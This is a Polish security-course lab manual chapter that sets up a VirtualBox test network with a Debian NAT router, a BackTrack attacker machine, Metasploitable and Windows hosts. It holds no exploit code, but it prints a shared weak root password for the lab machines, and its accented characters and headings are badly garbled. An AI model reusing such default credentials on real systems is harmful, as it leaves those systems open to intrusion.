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Opracował: Sławomir Adamus, Sebastian Bugała 
Cel �wiczenia: przygotowanie wirtualnego �rodowiska pracy 
Potrzebne narz�dzia: wszystkie materiały z doł�czonej płyty DVD 

Wszystkie prezentowane w niniejszej instrukcji �wiczenia wykonywane s� 
w pełni wirtualnym �rodowisku. �wiczenia prowadzone s� w sieci o topologii 
gwiazdy – schemat sieci �wiczeniowej przedstawiony jest na rys. 1.1. Z fizyczn� 
infrastruktur� sieci laboratoryjnej poł�czona jest bezpo�rednio maszyna z systemem 
Debian – pełni ona rol� bramki sieciowej (ang. router), na której przeprowadzana 
jest translacja adresów (ang. NAT, Network Address Translation – translacja 
adresów sieciowych). Adres IP (ang. Internet Protocol – protokół internetowy) 
zewn�trznego interfejsu sieciowego jest pobierany z serwera DHCP (ang. 
Dynamic Host Configuration Protocol – protokół dynamicznej konfiguracji 
hosta) znajduj�cego si� w sieci fizycznej. Drugi interfejs sieciowy maszyny  
z systemem Debian podł�czony jest do wirtualnej sieci lokalnej. W sieci tej 
adresy IP przydzielane s� statycznie z puli 172.16.1.0 / 24. Wszystkie wirtualne 
maszyny korzystaj� z serwera nazw domenowych OpenDNS dost�pnego pod 
adresem 208.67.222.222. 

 
Rys. 1.1. Schemat topologii sieci testowej  

	ródło: opracowanie własne. 
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Celem niniejszego �wiczenia jest przygotowanie wirtualnego �rodowiska  
w oparciu o oprogramowanie wirtualizacyjne Oracle VirtualBox. Opisane zostan�: 
instalacja oprogramowania VirtualBox z systemach Microsoft Windows 7 i Ubuntu 
Linux 10.10 Desktop, tworzenie maszyn wirtualnych oraz ich konfiguracja. 
Utworzona w ten sposób infrastruktura b�dzie wykorzystywana przy kolejnych 
�wiczeniach. 

1.1. I����+�!&��
 ��!+��, ��-�+�#.��������/  ���  !�#�#%���  �$#���0 

Na doł�czonej płycie DVD znajduj� si� pliki instalacyjne programu VirtualBox 
w wersji 3.2.10. Najnowsz� wersj� oprogramowania mo�na pobra� ze strony 
http://www.virtualbox.org/wiki/Downloads. 

1.1.1. Przed przyst�pieniem do instalacji i konfiguracji maszyn wirtualnych 
skopiuj do własnego katalogu roboczego <work_dir> na dysku lokalnym 
wszystkie materiały znajduj�ce si� na doł�czonej płycie DVD. 

1.1.2. Zaloguj si� do systemu Windows na konto administratora. 

1.1.3. Uruchom instalator programu VirtualBox znajduj�cy si� w: 
<work_dir>/vbox/VirtualBox 3.2.10 Windows.exe 

1.1.4. Po uruchomieniu instalatora kliknij przycisk Next, aby rozpocz�� instalacj�. 

 
Rys. 1.2. Instalator Oracle VirtualBox − uruchomienie  

	ródło: opracowanie własne. 
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1.1.5. W nast�pnym oknie nale�y zapozna� si� z licencj� EULA (ang. End-User 
Licence Agreement – licencja u�ytkownika ko�cowego) i zatwierdzi� j�. 
Wybierz opcj� I accept the terms in the License Agreement i kliknij 
przycisk Next. 

 
Rys. 1.3. Instalator Oracle VirtualBox – licencja EULA 

 	ródło: opracowanie własne. 

1.1.6. Kolejny ekran umo�liwia wybór instalowanych składników oprogramowania 
i zmian� �cie�ki instalacyjnej. Kliknij Next. 

 
Rys. 1.4. Instalator Oracle VirtualBox – wybór składników  

	ródło: opracowanie własne. 
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1.1.7. Na kolejnym ekranie mo�na wybra� opcj� dodania skrótów do programu 
na pulpicie i w pasku szybkiego uruchamiania. Kliknij Next. 

 
Rys. 1.5. Instalator Oracle VirtualBox – skróty aplikacji  

	ródło: opracowanie własne. 

1.1.8. W nast�pnym kroku wy�wietlona jest informacja o tymczasowej utracie 
poł�czenia z Internetem podczas instalacji. Wci�nij Yes. 

 
Rys. 1.6. Instalator Oracle VirtualBox – interfejsy sieciowe  

	ródło: opracowanie własne. 
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1.1.9. Na kolejnym ekranie wci�nij Install. Rozpocznie si� kopiowanie plików. 

 
Rys. 1.7. Instalator Oracle VirtualBox – rozpocz�cie instalacji  

	ródło: opracowanie własne. 

1.1.10. Je�li w systemie gospodarza uruchomiony jest mechanizm UAC (ang. 
User Account Control – kontrola konta u�ytkownika) nale�y zezwoli� 
instalatorowi na instalacj� programu. Kliknij Tak. 

 
Rys. 1.8. Instalator Oracle VirtualBox – mechanizm UAC  

	ródło: opracowanie własne. 
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1.1.11. Nast�pnie nale�y zezwoli� na instalacj� sterowników do wirtualnych 
interfejsów sieciowych. Zaznacz opcj� Zawsze ufaj oprogramowaniu  
z ‘Sun Microsystems, Inc.’ i kliknij Zainstaluj. 

 
Rys. 1.9. Instalator Oracle VirtualBox – instalacja sterowników 

	ródło: opracowanie własne. 

1.1.12. Po zako�czeniu instalacji kliknij Finish. 

 
Rys. 1.10. Instalator Oracle VirtualBox – zako�czenie  

	ródło: opracowanie własne. 
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1.1.13. Uruchom program VirtualBox wchodz�c w menu Start -> Wszystkie 
programy -> Oracle VM VirtualBox -> VirtualBox. 

 
Rys. 1.11. Uruchomienie Oracle VirtualBox w systemie Windows 

	ródło: opracowanie własne. 

1.2. I����+�!&��
 ��!+��, ��-�+�#.��������/  ��1 2-��-�3 �-.�45645 

Aby zainstalowa� aplikacj� Oracle VirtualBox, nale�y dysponowa� w systemie 
gospodarza kontem z uprawnieniami administracyjnymi. 

1.2.1. Uruchom konsol� tekstow� wybieraj�c menu Programy -> Akcesoria -> 
Terminal (Applications -> Accessories -> Terminal w angielskiej wersji 
j�zykowej systemu). 

 
Rys. 1.12. Uruchomienie konsoli tekstowej w systemie Buntu 

	ródło: opracowanie własne. 
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1.2.2. Zaktualizuj list� programów dost�pnych z repozytorium. Wpisz w konsoli: 

sudo apt-get update 

Zostaniesz poproszony o wpisanie hasła administratora. 

 
Rys. 1.13. Uaktualnienie listy oprogramowania dost�pnego z repozytorium w systemie 

Ubuntu 10.10. 	ródło: opracowanie własne. 

1.2.3. Zainstaluj pakiet Oracle VirtualBox wpisuj�c w konsoli: 

sudo apt-get -y install virtualbox-ose 

 
Rys. 1.14. Instalacja Oracle VirtualBox w systemie Ubuntu z repozytorium  

	ródło: opracowanie własne. 
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1.2.4. Uruchom program VirtualBox wychodz�c w menu Programy -> 
Akcesoria -> VirtualBox OSE (Applications -> Accessories -> 
VirtualBox OSE). 

 
Rys. 1.15. Uruchomienie Oracle VirtualBox w systemie Ubuntu 

1.3. T�#�"�� ��/ ��"���� ��-�+��!7 

Aby zbudowa� sie� testow� jak na rys 1.1, nale�y utworzy� siedem maszyn 
wirtualnych – ka�da z innym systemem operacyjnym. Wirtualne dyski twarde dla 
systemów Debian 5.0, BackTrack 4 R2, Ubuntu 10.10 Desktop, Metasploitable  
i Turnkey LAMP Linux znajduj� si� w katalogu <work_dir>/Przygotowanie 
�rodowiska/vm. Dla maszyn wirtualnych z systemami Windows nale�y utworzy� 
nowe dyski twarde.  

Poni�ej przedstawiona jest instrukcja tworzenia maszyny z systemem 
Debian 5.0 z wykorzystaniem dost�pnego obrazu dysku twardego.  

1.3.1. Przed rozpocz�ciem tworzenia nowych maszyn rozpakuj archiwa zip  
z obrazami dysków twardych znajduj�ce si� w katalogu: 

<work_dir>/Przygotowanie �rodowiska/vm 
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1.3.2. Kliknij przycisk Nowa w głównym oknie programu Oracle VirtualBox. 

 
Rys. 1.16. Główne okno programu VirtualBox 

	ródło: opracowanie własne. 

1.3.3. Uruchomi si� Asystent tworzenia nowej maszyny wirtualnej. Kliknij Dalej. 

 
Rys. 1.17. Oracle VirtualBox − Asystent tworzenia nowej maszyny wirtualnej  

	ródło: opracowanie własne. 
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1.3.4. W pierwszym kroku tworzenia maszyny wirtualnej nale�y okre�li� jej nazw�  
i typ systemu operacyjnego.  

W polu Nazwa wpisz Debian 5.0, typ systemu operacyjnego zostanie wybrany 
automatycznie na podstawie wpisanej nazwy. Kliknij Dalej. 

 
Rys. 1.18. Tworzenie maszyny wirtualnej – nazwa maszyny i typ systemu operacyjnego 

	ródło: opracowanie własne. 

1.3.5. W nast�pnym kroku nale�y okre�li� ilo�� pami�ci RAM (ang. Random-
Access Memory – pami�� operacyjna) dost�pnej dla wirtualnej maszyny. 
Pozostaw domy�ln� warto�� (384 MB) i kliknij Dalej. 

 
Rys. 1.19. Tworzenie maszyny wirtualnej – ilo�� pami�ci RAM  

	ródło: opracowanie własne. 
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1.3.6. W kolejnym kroku definiowany jest dysk twardy dla wirtualnej maszyny. 
Wybierz opcj� U�yj istniej�cego dysku twardego i kliknij ikonk�  
z folderem, aby przej�� do Mened�era no�ników wirtualnych. 

 
Rys. 1.20. Tworzenie maszyny wirtualnej – wybór dysku twardego  

	ródło: opracowanie własne. 

1.3.7. W Mened�erze no�ników wirtualnych kliknij przycisk Dodaj, aby doda� 
nowy dysk do biblioteki no�ników. 

 
Rys. 1.21. Mened�er no�ników wirtualnych  

	ródło: opracowanie własne. 
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1.3.8. W oknie, które si� pojawi, wska� lokalizacj� pliku z wirtualnym dyskiem 
twardym. Plik znajduje si� w katalogu <work_dir>/Przygotowanie 
�rodowiska/vm/Debian 5.0/Debian 5.0.vdi. Po wybraniu pliku kliknij 
Otwórz. 

 
Rys. 1.22. Mened�er no�ników wirtualnych – dodanie istniej�cego dysku  

	ródło: opracowanie własne. 

1.3.9. W Mened�erze no�ników wirtualnych zaznacz dodany dysk i kliknij Wybierz. 

 
Rys. 1.23. Mened�er no�ników wirtualnych – wybór dysku  

	ródło: opracowanie własne. 
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1.3.10. Po powrocie do Asystenta tworzenia nowej maszyny wirtualnej kliknij 
Dalej, aby zatwierdzi� wybrany dysk twardy. 

 
Rys. 1.24. Tworzenie maszyny wirtualnej – wybór no�nika  

	ródło: opracowanie własne. 

1.3.11. Na koniec wy�wietlone zostanie podsumowanie dla tworzonej maszyny. 
Kliknij Zako�cz. 

 
Rys. 1.25. Tworzenie maszyny wirtualnej – podsumowanie tworzenia maszyny  

	ródło: opracowanie własne. 
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1.3.12. W ten sam sposób utwórz maszyny wirtualne z systemami BackTrack, 
Ubuntu, Metasploitable i Turnkey LAMP Linux, korzystaj�c z doł�czonych 
obrazów dysków twardych. Specyfikacja tworzonych maszyn: 

BackTrack 4 R2: 
Nazwa BackTrack 4 R2 
System operacyjny Linux 
Wersja systemu operacyjnego Other Linux 
Pami�� RAM 256 MB 
Obraz dysku twardego <work_dir>/Przygotowanie 

�rodowiska/vm/BackTrack 4 R2/ BackTrack 
4 R2.vdi 

Ubuntu Linux 10.10: 
Nazwa Ubuntu 10.10 Desktop 
System operacyjny Linux 
Wersja systemu operacyjnego Ubuntu 
Pami�� RAM 512 MB 
Obraz dysku twardego <work_dir>/Przygotowanie 

�rodowiska/vm/ Ubuntu 10.10 Desktop/ 
Ubuntu 10.10 Desktop.vdi 

Metasploitable: 
Nazwa Metasploitable 
System operacyjny Linux 
Wersja systemu operacyjnego Ubuntu 
Pami�� RAM 512 MB 
Obraz dysku twardego <work_dir>/Przygotowanie 

�rodowiska/vm/Metasploitable/ 
Metasploitable.vdi 

Turnkey LAMP Linux: 
Nazwa TurnKey 
System operacyjny Linux 
Wersja systemu operacyjnego Ubuntu 
Pami�� RAM 256 MB 
Obraz dysku twardego <work_dir>/Przygotowanie 

�rodowiska/vm/Turnkey/Turnkey.vdi 
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Nast�pnie nale�y utworzy� wirtualne maszyny z systemami Windows. 
Poniewa� nie ma dost�pnych wirtualnych dysków twardych dla tych maszyn, 
nale�y utworzy� nowy dysk, a nast�pnie zainstalowa� na nim system operacyjny 
samodzielnie. Poni�szy opis tworzenia nowej maszyny został przedstawiony dla 
maszyny z systemem Microsoft Windows 7. 

1.3.13. Kliknij przycisk Nowa w głównym oknie programu Oracle VirtualBox. 

1.3.14. Uruchomi si� Asystent tworzenia nowej maszyny wirtualnej. Kliknij Dalej. 

1.3.15. W pierwszym kroku tworzenia maszyny wirtualnej nale�y okre�li� jej 
nazw� i typ systemu operacyjnego. W polu Nazwa wpisz Windows 7, 
typ systemu operacyjnego zostanie wybrany automatycznie na podstawie 
wpisanej nazwy. Kliknij Dalej. 

1.3.16. W nast�pnym kroku nale�y okre�li� ilo�� pami�ci RAM dost�pnej dla 
wirtualnej maszyny. Ustaw warto�� 1024 MB i kliknij Dalej. 

1.3.17. W kolejnym kroku definiowany jest dysk twardy dla wirtualnej maszyny. 
Wybierz opcj� Stwórz nowy wirtualny dysk i kliknij przycisk Dalej. 

 
Rys. 1.26. Tworzenie maszyny wirtualnej – wybór no�nika  

	ródło: opracowanie własne. 
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1.3.18. Uruchomi si� Asystent tworzenia nowego dysku wirtualnego. Kliknij Dalej. 

 
Rys. 1.27. Asystent tworzenia nowego dysku wirtualnego  

	ródło: opracowanie własne. 

1.3.19. Nast�pnie nale�y okre�li� typ obrazu dysku twardego. Wybierz opcj� 
Dynamicznie rozszerzany obraz i kliknij Dalej. 

 
Rys. 1.28. Asystent tworzenia nowego dysku wirtualnego – typ obrazu dysku twardego 

	ródło: opracowanie własne. 
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1.3.20. W nast�pnym kroku nale�y okre�li� lokalizacj� dla pliku z dyskiem  
i rozmiar dysku. Pozostaw domy�lne warto�ci i kliknij Dalej. 

 
Rys. 1.29. Asystent tworzenia nowego dysku wirtualnego – �cie�ka i rozmiar obrazu 

	ródło: opracowanie własne. 

1.3.21. Wy�wietlone zostanie podsumowanie tworzenia nowego dysku. Kliknij 
Zako�cz. 

 
Rys. 1.30. Asystent tworzenia nowego dysku wirtualnego – podsumowanie  

	ródło: opracowanie własne. 

1.3.22. Na koniec wy�wietlone zostanie podsumowanie dla tworzonej maszyny. 
Kliknij Zako�cz. 
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1.3.23. Aby zainstalowa� system operacyjny nale�y dysponowa� obrazem ISO  
i podł�czy� go do wirtualnego nap�du CD. W głównym oknie programu 
VirtualBox wybierz maszyn� z systemem Windows 7 i kliknij przycisk 
Ustawienia. 

 
Rys. 1.31. Oracle VirtualBox – Ustawienia  

	ródło: opracowanie własne. 

1.3.24. W lewym menu przejd� do sekcji No�niki i w drzewie no�ników wybierz 
nap�d CD podł�czony do kontrolera IDE (ang. Integrated Device Electronics 
– standard komunikacji pami�ci masowych). Nast�pnie kliknij na symbol 
folderu przy polu Płyta CD/DVD. 

 
Rys. 1.32. Oracle VirtualBox – no�niki  

	ródło: opracowanie własne. 
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1.3.25. Uruchomi si� Mened�er no�ników wirtualnych. Kliknij Dodaj. 

 
Rys. 1.33. Oracle VirtualBox – mened�er no�ników  

	ródło: opracowanie własne. 

1.3.26. Wska� lokalizacj� obrazu ISO płyty instalacyjnej i kliknij Otwórz. 

 
Rys. 1.34. Oracle VirtualBox – dodanie nowego no�nika (ISO)  

	ródło: opracowanie własne. 
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1.3.27. W Mened�erze no�ników wirtualnych zaznacz dodany obraz i kliknij 
przycisk Wybierz. 

 
Rys. 1.35. Oracle VirtualBox – wybór no�nika  

	ródło: opracowanie własne. 

1.3.28. W oknie ustawie� maszyny wirtualnej kliknij OK. 

 
Rys. 1.36. Oracle VirtualBox – no�niki  

	ródło: opracowanie własne. 

1.3.29. Uruchom maszyn� wirtualn� i zainstaluj system post�puj�c zgodnie  
z instrukcjami instalatora. 
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1.3.30. Po pierwszym uruchomieniu systemu odmontuj obraz ISO od nap�du 
CD. Przy uruchomionej maszynie wejd� w menu Urz�dzenia -> Płyty 
CD/DVD -> Odmontuj płyt� CD. 

 
Rys. 1.37. Oracle VirtualBox – odł�czenie no�nika  

	ródło: opracowanie własne. 

Zgodnie z powy�szym schematem stwórz jeszcze jedn� maszyn� wirtualn�  
o nast�puj�cych parametrach: 

Nazwa Windows 2003 
System operacyjny Microsoft Windows 
Wersja systemu operacyjnego Windows 2003 
Pami�� RAM 512 MB 

 

1.4. K#�% (-��!&���#���#+����$���8������$�!7 

Maszyna z systemem Turnkey wymaga zmiany rodzaju kontrolera dysków  
w celu poprawnego uruchomienia. Standardowy kontroler SATA (ang. Serial 
ATA – standard komunikacji pami�ci masowych) nale�y zmieni� na kontroler IDE. 

1.4.1. Uruchom program VirtualBox. 

1.4.2. Z listy dost�pnych maszyn wybierz Turnkey i kliknij przycisk Ustawienia. 
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1.4.3. W lewym menu wybierz sekcj� No�niki. 

 
Rys. 1.38. Oracle VirtualBox – ustawienia no�ników  

	ródło: opracowanie własne. 

1.4.4. Na li�cie Drzewo no�ników zaznacz Kontroler SATA i wci�nij klawisz 
delete. 

1.4.5. Nast�pnie w drzewie no�ników kliknij ikonk� Dodaj dysk twardy przy 
kontrolerze IDE. 

 
Rys. 1.39. Oracle VirtualBox – dodanie nowego dysku  

	ródło: opracowanie własne. 

1.4.6. Nast�pnie kliknij na dodanym dysku twardym i w prawym menu w polu 
Dysk twardy wybierz Turnkey.vdi z listy rozwijanej. 

1.4.7. Wci�nij OK w oknie Turnkey – ustawienia. 
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1.5. K#�% (-��!&�� ����%�&�8��� �! #��!7�/ ��"���� ��-�+��!7 

Przed przyst�pieniem do �wicze� nale�y przeprowadzi� konfiguracj� 
interfejsów sieciowych, co umo�liwi komunikacj� maszyn w sieci wirtualnej 
oraz zapewni dost�p wszystkich maszyn do Internetu. Aby uzyska� topologi� 
przedstawion� na rys 1.1, nale�y odpowiednio skonfigurowa� interfejsy sieciowe.  

Maszyna z systemem Debian musi posiada� dwa interfejsy sieciowe, 
poniewa� b�dzie pełni� funkcj� routera dla sieci testowej. Jeden interfejs musi 
by� podł�czony do fizycznej sieci komputerowej (ang. WAN, Wide Area 
Network), a drugi do wirtualnej sieci lokalnej (ang. LAN, Local Area Network). 

1.5.1. Uruchom program VirtualBox. 

1.5.2. Z listy dost�pnych maszyn wybierz Debian 5.0 i kliknij przycisk Ustawienia. 

1.5.3. W lewym menu wybierz sekcj� Sie�. 

1.5.4. W zakładce Karta 1 zaznacz opcj� Wł�cz kart� sieciow�. 

 
Rys. 1.40. Oracle VirtualBox – ustawienia sieci wirtualnej maszyny  

	ródło: opracowanie własne. 

1.5.5. Aby podł�czy� kart� do fizycznej sieci komputerowej wybierz w opcji 
Podł�czona do warto�� Mostkowana karta sieciowa (bridged) i w opcji 
Nazwa wybierz kart� sieciow� komputera gospodarza podł�czon� do sieci 
fizycznej. Rozwi� menu Zaawansowane i kliknij na ikonk� z zielonymi 
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strzałkami przy polu Adres MAC (ang. Media Access Control – adres 
fizyczny karty sieciowej) w celu wylosowania nowego adresu fizycznego. 

 
Rys. 1.41. Oracle VirtualBox – mostkowana karta sieciowa  

	ródło: opracowanie własne. 

1.5.6. Nast�pnie nale�y skonfigurowa� drug� kart� sieciow� podł�czon� do 
wewn�trznej sieci. Przejd� na zakładk� Karta 2, zaznacz opcj� Wł�cz 
kart� sieciow�. Opcj� Podł�czona do ustaw na Sie� wewn�trzna natomiast 
w polu Nazwa wpisz bss. Rozwi� menu Zaawansowane i kliknij na 
ikonk� z zielonymi strzałkami przy polu Adres MAC w celu wylosowania 
nowego adresu fizycznego. 

 
Rys. 1.42. Oracle VirtualBox – karta sieciowa podł�czona do sieci wewn�trznej  

	ródło: opracowanie własne. 
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1.5.7. Po ustawieniu powy�szych warto�ci wci�nij przycisk OK. 

1.5.8. Dla maszyny z systemem Turnkey stwórz zgodnie z powy�szym 
schematem jedn� kart� sieciow� podł�czon� do sieci fizycznej (jak  
w pkt. 1.5.5) 

1.5.9. Dla maszyny wirtualnej z systemem Windows Serwer 2003 dodaj dwie 
karty sieciowe podł�czone do sieci wewn�trznej o nazwie bss (jak w pkt. 
1.5.6) 

1.5.10. Zgodnie z powy�szym schematem stwórz dla wszystkich pozostałych 
maszyn wirtualnych po jednej karcie sieciowej (Karta 1) podł�czon� do 
sieci wewn�trznej o nazwie bss (jak w pkt. 1.5.6). 

1.6. K#�% (-��!&��
 �2 ���3 �-.�965 

Komputer z systemem Debian b�dzie pełnił w sieci testowej rol� routera 
brzegowego. Nale�y na nim skonfigurowa� dwa interfejsy sieciowe (interfejs dla 
sieci testowej i interfejs wyj�ciowy do Internetu), przekazywanie pakietów (ang. 
IP forwarding) oraz translacj� adresów sieciowych (NAT). 

1.6.1. Uruchom maszyn� z systemem Debian Linux 5.0. W głównym oknie 
programu Oracle VirtualBox wybierz maszyn� Debian 5.0 i kliknij 
przycisk Uruchom. 

 
Rys. 1.43. Oracle VirtualBox –uruchomienie maszyny wirtualnej  

	ródło: opracowanie własne. 
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1.6.2. Zaloguj si� do systemu. 

Login: bss 
Hasło: zaq1@WSX 

 
Rys. 1.44. Debian Linux – logowanie  

	ródło: opracowanie własne. 

1.6.3. Przejd� do powłoki u�ytkownika root, aby uzyska� mo�liwo�� konfiguracji 
interfejsów sieciowych. Wpisz w konsoli: 

su 

Hasło u�ytkownika root: zaq1@WSX (Uwaga: hasło nie jest widoczne 
podczas wpisywania). 

1.6.4. Karta eth0, która jest podł�czona do sieci fizycznej, powinna pobra� adres 
IP z serwera DHCP zainstalowanego w sieci fizycznej (je�li sie� fizyczna 
konfigurowana jest r�cznie, przejd� do pkt. 1.6.7 i skonfiguruj interfejs eth0 
z u�yciem podanych polece�).  Wpisz w konsoli: 

dhclient 

 
Rys. 1.45. Debian Linux – przydzielenie adresu z serwera usługi DHCP  

	ródło: opracowanie własne. 
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1.6.5. Sprawd� konfiguracj� tej karty, wpisuj�c w konsoli: 

ifconfig eth0 

 
Rys. 1.46. Debian Linux – ifconfig  
	ródło: opracowanie własne. 

Adres IP interfejsu widoczny jest w drugiej linii za ci�giem znaków „ inet addr:”  

1.6.6. Sprawd� poprawno�� poł�czenia z Internetem. Wpisz w konsoli: 

ping –c 4 www.google.pl 

 
Rys. 1.47. Debian Linux – ping  
	ródło: opracowanie własne. 

1.6.7. Skonfiguruj adres IP i wł�cz interfejs podł�czony do sieci wewn�trznej, 
korzystaj�c z narz�dzia ifconfig. Składnia polecenia jest nast�puj�ca:  

ifconfig <int> <IP> netmask <maska> 

gdzie: 

<int>  - nazwa interfejsu sieciowego  
<IP> - adres IP 
<maska> - maska podsieci 

Wpisz w konsoli: 

ifconfig eth1 172.16.1.1 netmask 255.255.255.0 
ifconfig eth1 up 



 

 52 

1.6.8. Nast�pnie nale�y wł�czy� przekazywanie pakietów, aby umo�liwi� routing. 
Wpisz w konsoli: 

echo „1” > /proc/sys/net/ipv4/ip_forward 

1.6.9. Uruchom translacj� adresów, aby umo�liwi� komunikacj� z Internetem 
maszynom wirtualnym. Wpisz w konsoli: 

iptables –t nat –A POSTROUTING –o eth0 –j MASQUERADE 

 
Rys. 1.48. Debian Linux – konfiguracja interfejsu sieciowego i NAT  

	ródło: opracowanie własne. 

1.7. K#�% (-��!&����!����!��3 �-.�:��; 

Maszyna z systemem BackTrack b�dzie wykorzystywana w wi�kszo�ci 
�wicze� w roli komputera wykorzystywanego przez agresora. Dzi�ki kompletnemu 
zestawowi narz�dzi wykorzystywanych do analizy zabezpiecze�, nie b�dzie potrzeby 
poszukiwania i instalowania dodatkowego oprogramowania. 

1.7.1. Uruchom maszyn� wirtualn� z systemem BackTrack 4 R2 oraz zaloguj si�, 
u�ywaj�c konta administracyjnego: 

Login: root 
Hasło: zaq1@WSX 

1.7.2. Przejd� do powłoki graficznej. Wpisz w konsoli: 

startx 
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1.7.3. Uruchom terminal. Kliknij na ikonk� konsoli na pasku szybkiego 
uruchamiania. 

 
Rys. 1.49. BackTrack Linux – uruchomienie konsoli  

	ródło: opracowanie własne. 

1.7.4. Aby uzyska� dost�p do innych maszyn wirtualnych oraz do Internetu 
konieczna jest konfiguracja adresu IP dla interfejsu eth0 oraz wł�czenie 
tego interfejsu. Wpisz w konsoli: 

ifconfig eth0 172.16.1.2 netmask 255.255.255.0 
ifconfig eth0 up 

1.7.5. Nast�pnie ustaw domy�ln� bram� sieciow� (jest ni� dla wszystkich 
komputerów maszyna z systemem Debian). Wpisz w konsoli: 

route add default gw 172.16.1.1 eth0 

1.7.6. Aby mo�liwa była komunikacja z sieci� zewn�trzna przy u�yciu nazw 
symbolicznych zdefiniuj adres serwera DNS (ang. Domain Name System – 
system nazw domenowych) poprzez dodanie wpisu w pliku /etc/resolv.conf 
(np. podaj�c adres serwera OpenDNS). Wpisz w konsoli: 

echo ’nameserver 208.67.222.222’ > /etc/resolv.conf 
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1.7.7. Sprawd� poprawno�� konfiguracji wpisuj�c w konsoli: 

ping –c 4 www.google.pl 

 
Rys. 1.50. BackTrack Linux – konfiguracja interfejsu sieciowego  

	ródło: opracowanie własne. 

1.8. K#�% (-��!&���  !�#�#%���  �$#���;55<����=�� 

1.8.1. Uruchom maszyn� wirtualn� z systemem Microsoft Windows 2003 Server  
i zaloguj si� do systemu. 

1.8.2. Skonfiguruj interfejs sieciowy, bram� domy�ln� oraz serwer DNS 
przechodz�c do Start -> Panel sterowania -> Poł�czenia sieciowe -> 
Poł�czenie lokalne. 

 
Rys. 1.51. Windows 2003 Server – poł�czenia sieciowe  

	ródło: opracowanie własne. 
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1.8.3. W oknie, które si� pojawi wci�nij przycisk Wła�ciwo�ci. 

 
Rys. 1.52. Windows 2003 Server – poł�czenie lokalne  

	ródło: opracowanie własne. 

1.8.4. W kolejnym oknie wybierz Protokół internetowy (TCP/IP), a nast�pnie 
kliknij Wła�ciwo�ci. 

 
Rys. 1.53. Windows 2003 Server – wła�ciwo�ci poł�czenia lokalnego  

	ródło: opracowanie własne. 
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1.8.5. W oknie Wła�ciwo�ci protokołu TCP/IP kliknij opcj� U�yj nast�puj�cego 
adresu IP: i wpisz poni�sze dane: 

Adres IP 172.16.1.3 
Maska podsieci 255.255.255.0 
Brama domy�lna 172.16.1.1 
Preferowany serwer DNS 208.67.222.222 

 
Rys. 1.54 Windows 2003 Server – konfiguracja poł�czenia lokalnego  

	ródło: opracowanie własne. 

1.8.6. Sprawd� poprawno�� poł�czenia poprzez wysłanie pakietu ICMP. W tym celu 
wpisz w konsoli (Start -> Uruchom -> cmd): 

ping www.google.pl 
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1.9. K#�% (-��!&���  !�#�#%���  �$#���0 

1.9.1. Uruchom maszyn� wirtualn� z systemem Microsoft Windows 7 i zaloguj 
si� do systemu. 

1.9.2. Przejd� do konfiguracji sieci klikaj�c Start -> Panel sterowania. 

 
Rys. 1.55. Windows 7 – uruchomienie panelu sterowania 

	ródło: opracowanie własne. 

1.9.3. Nast�pnie wybierz sekcj� Sieci i Internet. 

 
Rys. 1.56. Windows 7 – Sieci i Internet 

	ródło: opracowanie własne. 
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1.9.4. W oknie Sieci i Internet kliknij na Centrum sieci i udost�pniania. 

 
Rys. 1.57. Windows 7 – Centrum sieci i udost�pniania 

	ródło: opracowanie własne. 

1.9.5. Kliknij na opcj� Zmie� ustawienia karty sieciowej w lewym menu. 

 
Rys. 1.58. Windows 7 – ustawienia karty sieciowej  

	ródło: opracowanie własne. 

1.9.6.  Kliknij prawym przyciskiem na interfejsie Poł�czenie lokalne i wybierz 
Wła�ciwo�ci. 

 
Rys. 1.59. Windows 7 – poł�czenie lokalne 

	ródło: opracowanie własne. 
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1.9.7. W oknie Wła�ciwo�ci: Poł�czenie lokalne Wybierz opcj� Protokół 
internetowy w wersji 4 i kliknij przycisk Wła�ciwo�ci. 

 
Rys. 1.60. Windows 7 – wła�ciwo�ci poł�czenia lokalnego  

	ródło: opracowanie własne. 

1.9.8. W oknie Wła�ciwo�ci: Protokół internetowy w wersji 4 zaznacz opcj� U�yj 
nast�puj�cego adresu IP i wpisz w odpowiednie pola nast�puj�ce dane: 

Adres IP 172.16.1.4 
Maska podsieci 255.255.255.0 
Brama domy�lna 172.16.1.1 
Preferowany serwer DNS 208.67.222.222 
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Rys. 1.61. Windows 7 – konfiguracja poł�czenia lokalnego  

	ródło: opracowanie własne. 

1.9.9. Po wpisaniu wszystkich danych kliknij OK. 

1.9.10. W oknie Wła�ciwo�ci: Poł�czenie lokalne kliknij przycisk Zamknij. 

 
Rys. 1.62. Windows 7 – potwierdzenie konfiguracji sieciowej  

	ródło: opracowanie własne. 
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1.9.11. Uruchom konsol�. Kliknij menu Start, w polu Wyszukaj programy i pliki 
wpisz cmd i wci�nij Enter. 

 
Rys. 1.63. Windows 7 – uruchomienie konsoli  

	ródło: opracowanie własne. 

1.9.12. Sprawd� poprawno�� poł�czenia poprzez wysłanie pakietu ICMP (ang. 
Internet Control Message Protocol – internetowy protokół komunikatów 
kontrolnych). Wpisz w konsoli: 

ping www.google.pl 

 
Rys. 1.64. Windows 7 – polecenie ping 

	ródło: opracowanie własne. 



 

 62 

1.10. K#�% (-��!&��1 2-��-�3 �-.�45645�
 ����#� 

1.10.1. Uruchom maszyn� wirtualn� z systemem Ubuntu Linux 10.10 i zaloguj 
si�, u�ywaj�c po�wiadcze�: 

Login: bss 
Hasło: zaq1@WSX 

1.10.2. Nast�pnie uruchom terminal, wchodz�c w menu Programy -> Akcesoria -
> Terminal (Applications -> Accessories -> Terminal). 

 
Rys. 1.65. Ubuntu 10.10 – uruchomienie konsoli  

	ródło: opracowanie własne. 

1.10.3. Przejd� do powłoki u�ytkownika root. Wpisz w konsoli: 

sudo su 

hasło u�ytkownika root: zaq1@WSX 

 
Rys. 1.66. Ubuntu 10.10 – wej�cie do powłoki u�ytkownika root  

	ródło: opracowanie własne. 

1.10.4. Aby uzyska� dost�p do innych maszyn wirtualnych oraz do Internetu 
konieczna jest konfiguracja adresu IP dla interfejsu eth0 oraz wł�czenie 
tego interfejsu. Wpisz w konsoli: 

ifconfig eth0 172.16.1.5 netmask 255.255.255.0 
ifconfig eth0 up 



 

 63 

1.10.5. Nast�pnie ustaw domy�ln� bram� sieciow� (jest ni� dla wszystkich 
komputerów maszyna z systemem Debian). Wpisz w konsoli: 

route add default gw 172.16.1.1 eth0 

1.10.6. Aby mo�liwa była komunikacja z sieci� zewn�trzna przy u�yciu nazw 
symbolicznych, zdefiniuj adres serwera DNS poprzez dodanie wpisu  
w pliku /etc/resolv.conf (np. podaj�c adres serwera OpenDNS). Wpisz  
w konsoli: 

echo ’nameserver 208.67.222.222’ > /etc/resolv.conf 

1.10.7. Aby sprawdzi� poprawno�� konfiguracji, wy�lij pakiet ICMP. Wpisz  
w konsoli: 

